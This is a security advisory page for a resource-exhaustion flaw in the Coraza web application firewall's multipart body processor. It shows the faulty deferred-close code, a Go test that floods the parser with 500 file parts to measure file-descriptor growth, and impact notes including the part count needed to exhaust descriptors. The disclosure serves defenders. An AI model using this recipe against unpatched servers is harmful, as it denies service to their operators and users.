CVE-2026-107834

Coraza: Resource exhaustion via deferred file handle accumulation in multipart body processor

for {
    p, err := mr.NextPart()
    // ...
    temp, err := os.CreateTemp(storagePath, "crzmp*")
    defer temp.Close() // wrong scope
    io.Copy(temp, p)
}

go test -v -run TestMultipartFDLeak ./internal/bodyprocessors/...

package bodyprocessors_test

import (
	"fmt"
	"os"
	"strings"
	"sync"
	"sync/atomic"
	"testing"

	"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
	"github.com/corazawaf/coraza/v3/internal/bodyprocessors"
	"github.com/corazawaf/coraza/v3/internal/corazawaf"
)

func countFDs() int {
	e, _ := os.ReadDir("/proc/self/fd")
	return len(e)
}

func TestMultipartFDLeak(t *testing.T) {
	boundary := "testboundary"
	var sb strings.Builder
	for i := 0; i < 500; i++ {
		fmt.Fprintf(&sb, "--%s\r\n", boundary)
		fmt.Fprintf(&sb, "Content-Disposition: form-data; name=\"f%d\"; filename=\"f%d.txt\"\r\n", i, i)
		sb.WriteString("\r\n")
		sb.WriteString("X\r\n")
	}
	fmt.Fprintf(&sb, "--%s--\r\n", boundary)

	mp, _ := bodyprocessors.GetBodyProcessor("multipart")
	baseline := countFDs()

	var peak int64
	done := make(chan struct{})
	var wg sync.WaitGroup
	wg.Add(1)
	go func() {
		defer wg.Done()
		for {
			select {
			case <-done:
				return
			default:
				n := int64(countFDs())
				for {
					cur := atomic.LoadInt64(&peak)
					if n <= cur || atomic.CompareAndSwapInt64(&peak, cur, n) {
						break
					}
				}
			}
		}
	}()

	v := corazawaf.NewTransactionVariables()
	mp.ProcessRequest(strings.NewReader(sb.String()), v,
		plugintypes.BodyProcessorOptions{
			Mime:        "multipart/form-data; boundary=" + boundary,
			StoragePath: t.TempDir(),
		})
	close(done)
	wg.Wait()

	t.Logf("baseline=%d  peak=%d  spike=+%d",
		baseline, atomic.LoadInt64(&peak),
		atomic.LoadInt64(&peak)-int64(baseline))
}

baseline=7  peak=506  spike=+499

• No authentication required. Any endpoint that accepts multipart uploads is affected.
• fd exhaustion at ~6.8MB body (~65k parts). os.CreateTemp starts returning errors and MULTIPART_STRICT_ERROR is set to 1.
• CRS false positives / DoS. With CRS loaded, rule 200001 then blocks the request with a 400, and any other multipart request processed concurrently that runs into the same condition gets blocked too. At that point the WAF can't distinguish the attack from a legitimate upload.
• Process-wide impact. While the fd table is full the process can't open sockets or files for anything else either.
• Scope. Affects all v3.x releases; the defer has been present since the multipart processor was introduced.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-107834 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.8.0); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

1. What is CVE-2026-107834? CVE-2026-107834 is a medium-severity uncontrolled resource consumption vulnerability in github.com/corazawaf/coraza/v3 (go), affecting versions >= 3.0.0, < 3.8.0. It is fixed in 3.8.0. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2026-107834? CVE-2026-107834 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/corazawaf/coraza/v3 are affected by CVE-2026-107834? github.com/corazawaf/coraza/v3 (go) versions >= 3.0.0, < 3.8.0 is affected.
4. Is there a fix for CVE-2026-107834? Yes. CVE-2026-107834 is fixed in 3.8.0. Upgrade to this version or later.
5. Is CVE-2026-107834 exploitable, and should I be worried? Whether CVE-2026-107834 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-107834 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-107834? Upgrade github.com/corazawaf/coraza/v3 to 3.8.0 or later.

Other vulnerabilities in github.com/corazawaf/coraza/v3